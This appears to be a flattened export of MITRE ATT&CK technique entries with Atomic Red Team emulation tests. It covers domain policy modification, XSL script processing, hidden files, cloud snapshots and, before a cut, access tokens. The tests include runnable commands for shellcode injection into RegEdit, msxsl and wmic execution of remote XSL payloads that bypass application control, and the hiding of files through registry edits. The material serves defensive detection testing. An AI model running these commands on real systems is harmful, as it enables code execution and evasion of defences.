x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1055.015 atomic_tests: - name: Process injection ListPlanting auto_generated_guid: 4f3c7502-b111-4dfe-8a6e-529307891a59 description: This test injects shellcode into a remote RegEdit process using the ListPlanting technique. ListPlanting exploits Window with ListView control. Code write to memory with NtWriteVirtualMemory. The shellcode is executed via PostMessage. When successful, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds. Notepad will open following the appearance of the message box. supported_platforms: - windows input_arguments: exe_binary: description: PE binary type: path default: PathToAtomicsFolder\T1055.015\bin\ListPlanting.exe dependency_executor_name: powershell dependencies: - description: 'Injector ListPlanting.exe must exist at specified location (#{exe_binary}) ' prereq_command: 'if (Test-Path "#{exe_binary}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.015/bin/ListPlanting.exe" -OutFile "#{exe_binary}" executor: command: |- Start-Process "#{exe_binary}" Start-Sleep -Seconds 7 Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force name: powershell elevation_required: true T1484: technique: modified: '2024-04-19T04:27:31.884Z' name: Domain or Tenant Policy Modification description: "Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\n\nModifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.\n\nWith sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include: \n\n* modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)\n* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)\n* changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023)\n\nAdversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Obsidian Security x_mitre_deprecated: false x_mitre_detection: |- It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection) Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Azure AD - SaaS x_mitre_version: '3.0' x_mitre_data_sources: - 'Active Directory: Active Directory Object Deletion' - 'Active Directory: Active Directory Object Creation' - 'Command: Command Execution' - 'Active Directory: Active Directory Object Modification' - 'Application Log: Application Log Content' x_mitre_defense_bypassed: - System access controls - File system access controls x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d created: '2019-03-07T14:10:32.650Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1484 external_id: T1484 - source_name: CISA SolarWinds Cloud Detection description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021. url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a - source_name: ADSecurity GPO Persistence 2016 description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.' url: https://adsecurity.org/?p=2716 - source_name: Microsoft 365 Defender Solorigate description: Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021. url: https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/ - source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020. url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml - source_name: Microsoft - Update or Repair Federated domain description: Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020. url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365 - source_name: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020. url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ - source_name: Okta Cross-Tenant Impersonation 2023 description: 'Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.' url: https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection - source_name: Wald0 Guide to GPOs description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019. url: https://wald0.com/?p=179 - source_name: Harmj0y Abusing GPO Permissions description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019. url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ - source_name: Sygnia Golden SAML description: Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021. url: https://www.sygnia.co/golden-saml-advisory object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1220: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Avneet Singh - Casey Smith - Praetorian object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3 created: '2018-10-17T00:14:20.652Z' x_mitre_version: '1.2' external_references: - source_name: mitre-attack external_id: T1220 url: https://attack.mitre.org/techniques/T1220 - source_name: Reaqta MSXSL Spearphishing MAR 2018 url: https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/ description: Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018. - source_name: Twitter SquiblyTwo Detection APR 2018 url: https://twitter.com/dez_/status/986614411711442944 description: Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018. - source_name: LOLBAS Wmic url: https://lolbas-project.github.io/lolbas/Binaries/Wmic/ description: LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019. - source_name: Microsoft msxsl.exe url: https://www.microsoft.com/download/details.aspx?id=21714 description: Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018. - source_name: Penetration Testing Lab MSXSL July 2017 url: https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/ description: netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved July 3, 2018. - source_name: XSL Bypass Mar 2019 url: https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75 description: Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to Proxy Code Execution. Retrieved August 2, 2019. - source_name: Microsoft XSLT Script Mar 2017 url: https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script description: Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using . Retrieved July 3, 2018. x_mitre_deprecated: false revoked: false description: |- Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017) Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019) Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019) * msxsl.exe customers[.]xml script[.]xsl * msxsl.exe script[.]xsl script[.]xsl * msxsl.exe script[.]jpeg script[.]jpeg Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019) Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic) * Local File: wmic process list /FORMAT:evil[.]xsl * Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl” modified: '2022-05-24T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: XSL Script Processing x_mitre_detection: |- Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. kill_chain_phases: - phase_name: defense-evasion kill_chain_name: mitre-attack x_mitre_is_subtechnique: false x_mitre_data_sources: - 'Module: Module Load' - 'Process: Process Creation' x_mitre_system_requirements: - Microsoft Core XML Services (MSXML) or access to wmic.exe x_mitre_defense_bypassed: - Anti-virus - Digital Certificate Validation - Application Control x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1220 atomic_tests: - name: MSXSL Bypass using local files auto_generated_guid: ca23bfb2-023f-49c5-8802-e66997de462d description: "Executes the code specified within a XSL script tag during XSL transformation using a local payload. \nRequires download of MSXSL. No longer available from Microsoft.\n(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 ) \nOpen Calculator.exe when test successfully executed, while AV turned off.\n" supported_platforms: - windows input_arguments: xmlfile: description: Location of the test XML file on the local filesystem. type: path default: PathToAtomicsFolder\T1220\src\msxslxmlfile.xml xslfile: description: Location of the test XSL script file on the local filesystem. type: path default: PathToAtomicsFolder\T1220\src\msxslscript.xsl msxsl_exe: description: Location of the MSXSL executable. type: path default: PathToAtomicsFolder\..\ExternalPayloads\msxsl.exe dependency_executor_name: powershell dependencies: - description: 'XML file must exist on disk at specified location (#{xmlfile}) ' prereq_command: 'if (Test-Path "#{xmlfile}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{xmlfile}") -ErrorAction Ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslxmlfile.xml" -OutFile "#{xmlfile}" - description: 'XSL file must exist on disk at specified location (#{xslfile}) ' prereq_command: 'if (Test-Path "#{xslfile}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{xslfile}") -ErrorAction Ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslscript.xsl" -OutFile "#{xslfile}" - description: 'msxsl.exe must exist on disk at specified location (#{msxsl_exe}) ' prereq_command: 'if (Test-Path "#{msxsl_exe}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe" -OutFile "#{msxsl_exe}" executor: command: '"#{msxsl_exe}" "#{xmlfile}" "#{xslfile}" ' cleanup_command: 'del "#{msxsl_exe}" >nul 2>&1 ' name: command_prompt - name: MSXSL Bypass using remote files auto_generated_guid: a7c3ab07-52fb-49c8-ab6d-e9c6d4a0a985 description: | Executes the code specified within a XSL script tag during XSL transformation using a remote payload. Requires download of MSXSL.exe. No longer available from Microsoft. (Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 ) Open Calculator.exe when test successfully executed, while AV turned off. supported_platforms: - windows input_arguments: xmlfile: description: Remote location (URL) of the test XML file. type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml xslfile: description: Remote location (URL) of the test XSL script file. type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl msxsl_exe: description: Location of the MSXSL executable. type: path default: PathToAtomicsFolder\..\ExternalPayloads\msxsl.exe dependency_executor_name: powershell dependencies: - description: 'msxsl.exe must exist on disk at specified location ("#{msxsl_exe}") ' prereq_command: 'if (Test-Path "#{msxsl_exe}") {exit 0} else {exit 1} ' get_prereq_command: 'Invoke-WebRequest "https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe" -OutFile "#{msxsl_exe}" ' executor: command: '"#{msxsl_exe}" "#{xmlfile}" "#{xslfile}" ' cleanup_command: 'del -Path #{msxsl_exe} >nul 2>&1 ' name: command_prompt - name: WMIC bypass using local XSL file auto_generated_guid: 1b237334-3e21-4a0c-8178-b8c996124988 description: 'Executes the code specified within a XSL script using a local payload. ' supported_platforms: - windows input_arguments: wmic_command: description: WMI command to execute using wmic.exe type: string default: process list local_xsl_file: description: Location of the test XSL script file on the local filesystem. type: path default: PathToAtomicsFolder\T1220\src\wmicscript.xsl dependency_executor_name: powershell dependencies: - description: 'XSL file must exist on disk at specified location (#{local_xsl_file}) ' prereq_command: 'if (Test-Path "#{local_xsl_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{local_xsl_file}") -ErrorAction Ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/wmicscript.xsl" -OutFile "#{local_xsl_file}" executor: command: 'wmic #{wmic_command} /FORMAT:"#{local_xsl_file}" ' name: command_prompt - name: WMIC bypass using remote XSL file auto_generated_guid: 7f5be499-33be-4129-a560-66021f379b9b description: 'Executes the code specified within a XSL script using a remote payload. Open Calculator.exe when test successfully executed, while AV turned off. ' supported_platforms: - windows input_arguments: remote_xsl_file: description: Remote location of an XSL payload. type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl wmic_command: description: WMI command to execute using wmic.exe type: string default: process list executor: command: 'wmic #{wmic_command} /FORMAT:"#{remote_xsl_file}" ' name: command_prompt T1564.001: technique: x_mitre_platforms: - Windows - macOS - Linux x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d type: attack-pattern created: '2020-02-26T17:46:13.128Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1564.001 url: https://attack.mitre.org/techniques/T1564/001 - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. source_name: Sofacy Komplex Trojan - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017. source_name: Antiquated Mac Malware - url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.' source_name: WireLurker modified: '2021-04-29T14:49:39.188Z' name: 'Hide Artifacts: Hidden Files and Directories' description: |- Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS). On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: Monitor the file system and shell commands for files being created with a leading "." and the Windows command-line use of attrib.exe to add the hidden attribute. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'File: File Creation' - 'File: File Metadata' - 'Command: Command Execution' x_mitre_defense_bypassed: - Host forensic analysis x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1564.001 atomic_tests: - name: Create a hidden file in a hidden directory auto_generated_guid: 61a782e5-9a19-40b5-8ba4-69a4b9f3d7be description: 'Creates a hidden file inside a hidden directory ' supported_platforms: - linux - macos executor: command: | mkdir /var/tmp/.hidden-directory echo "T1564.001" > /var/tmp/.hidden-directory/.hidden-file cleanup_command: 'rm -rf /var/tmp/.hidden-directory/ ' name: sh - name: Mac Hidden file auto_generated_guid: cddb9098-3b47-4e01-9d3b-6f5f323288a9 description: 'Hide a file on MacOS ' supported_platforms: - macos executor: command: 'xattr -lr * / 2>&1 /dev/null | grep -C 2 "00 00 00 00 00 00 00 00 40 00 FF FF FF FF 00 00" ' name: sh - name: Create Windows System File with Attrib auto_generated_guid: f70974c8-c094-4574-b542-2c545af95a32 description: | Creates a file and marks it as a system file using the attrib.exe utility. Upon execution, open the file in file explorer then open Properties > Details and observe that the Attributes are "SA" for System and Archive. supported_platforms: - windows input_arguments: file_to_modify: description: File to modify using Attrib command type: string default: "%temp%\\T1564.001.txt" dependency_executor_name: command_prompt dependencies: - description: 'The file must exist on disk at specified location (#{file_to_modify}) ' prereq_command: 'IF EXIST #{file_to_modify} ( EXIT 0 ) ELSE ( EXIT 1 ) ' get_prereq_command: 'echo system_Attrib_T1564.001 >> #{file_to_modify} ' executor: command: 'attrib.exe +s #{file_to_modify} ' cleanup_command: 'del /A:S #{file_to_modify} >nul 2>&1 ' name: command_prompt elevation_required: true - name: Create Windows Hidden File with Attrib auto_generated_guid: dadb792e-4358-4d8d-9207-b771faa0daa5 description: | Creates a file and marks it as hidden using the attrib.exe utility.Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file and observe that the Attributes are "SH" for System and Hidden. supported_platforms: - windows input_arguments: file_to_modify: description: File to modify using Attrib command type: string default: "%temp%\\T1564.001.txt" dependency_executor_name: command_prompt dependencies: - description: 'The file must exist on disk at specified location (#{file_to_modify}) ' prereq_command: 'IF EXIST #{file_to_modify} ( EXIT 0 ) ELSE ( EXIT 1 ) ' get_prereq_command: 'echo system_Attrib_T1564.001 >> #{file_to_modify} ' executor: command: 'attrib.exe +h #{file_to_modify} ' cleanup_command: 'del /A:H #{file_to_modify} >nul 2>&1 ' name: command_prompt elevation_required: true - name: Hidden files auto_generated_guid: 3b7015f2-3144-4205-b799-b05580621379 description: 'Requires Apple Dev Tools ' supported_platforms: - macos input_arguments: filename: description: path of file to hide type: path default: "/tmp/evil" executor: command: 'setfile -a V #{filename} ' name: sh - name: Hide a Directory auto_generated_guid: b115ecaf-3b24-4ed2-aefe-2fcb9db913d3 description: 'Hide a directory on MacOS ' supported_platforms: - macos executor: command: | touch /var/tmp/T1564.001_mac.txt chflags hidden /var/tmp/T1564.001_mac.txt cleanup_command: 'rm /var/tmp/T1564.001_mac.txt ' name: sh - name: Show all hidden files auto_generated_guid: 9a1ec7da-b892-449f-ad68-67066d04380c description: 'Show all hidden files on MacOS ' supported_platforms: - macos executor: command: 'defaults write com.apple.finder AppleShowAllFiles YES ' cleanup_command: 'defaults write com.apple.finder AppleShowAllFiles NO ' name: sh - name: Hide Files Through Registry auto_generated_guid: f650456b-bd49-4bc1-ae9d-271b5b9581e7 description: "Disable Show Hidden files switch in registry. This technique was abused by several malware to hide their files from normal user.\nSee how this trojan abuses this technique - https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32~Tiotua-P/detailed-analysis.aspx \n" supported_platforms: - windows executor: command: | reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f cleanup_command: | reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /f >nul 2>&1 name: command_prompt elevation_required: true - name: Create Windows Hidden File with powershell auto_generated_guid: 7f66d539-4fbe-4cfa-9a56-4a2bf660c58a description: | Creates a file and marks it as hidden through powershell. Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file and observe that the Attributes is "H" Hidden. supported_platforms: - windows input_arguments: file_to_modify: description: File to modify type: string default: "%temp%\\T1564.001-9.txt" dependency_executor_name: command_prompt dependencies: - description: 'The file must exist on disk at specified location (#{file_to_modify}) ' prereq_command: 'IF EXIST #{file_to_modify} ( EXIT 0 ) ELSE ( EXIT 1 ) ' get_prereq_command: 'echo system_Attrib_T1564.001-9 >> #{file_to_modify} ' executor: command: | $file = Get-Item $env:temp\T1564.001-9.txt -Force $file.attributes='Hidden' cleanup_command: 'cmd /c ''del /A:H #{file_to_modify} >nul 2>&1'' ' name: powershell elevation_required: true - name: Create Windows System File with powershell auto_generated_guid: d380c318-0b34-45cb-9dad-828c11891e43 description: | Creates a file and marks it as System through powershell. Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file and observe that the Attributes is "S" System. supported_platforms: - windows input_arguments: file_to_modify: description: File to modify type: string default: "%temp%\\T1564.001-10.txt" dependency_executor_name: command_prompt dependencies: - description: 'The file must exist on disk at specified location (#{file_to_modify}) ' prereq_command: 'IF EXIST #{file_to_modify} ( EXIT 0 ) ELSE ( EXIT 1 ) ' get_prereq_command: 'echo system_Attrib_T1564.001-10 >> #{file_to_modify} ' executor: command: | $file = Get-Item $env:temp\T1564.001-10.txt -Force $file.attributes='System' cleanup_command: 'cmd /c ''del /A:H #{file_to_modify} >nul 2>&1'' ' name: powershell elevation_required: true T1578.001: technique: x_mitre_platforms: - IaaS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Praetorian object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1 type: attack-pattern created: '2020-06-09T15:33:13.563Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1578.001 url: https://attack.mitre.org/techniques/T1578/001 - source_name: Mandiant M-Trends 2020 url: https://content.fireeye.com/m-trends/rpt-m-trends-2020 description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020. - source_name: AWS Cloud Trail Backup API url: https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html description: Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020. - source_name: Azure - Monitor Logs url: https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor description: Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020. - source_name: Cloud Audit Logs url: https://cloud.google.com/logging/docs/audit#admin-activity description: Google. (n.d.). Audit Logs. Retrieved June 1, 2020. - source_name: GCP - Creating and Starting a VM url: https://cloud.google.com/compute/docs/instances/create-start-instance#api_2 description: Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020. modified: '2022-04-25T14:00:00.188Z' name: Create Snapshot description: |- An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account. In AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API). In Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the "sourceSnapshot": parameter pointed to "global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM) x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Snapshot: Snapshot Creation' - 'Snapshot: Snapshot Metadata' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1550.001: technique: modified: '2024-04-12T21:18:28.848Z' name: Application Access Token description: "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token 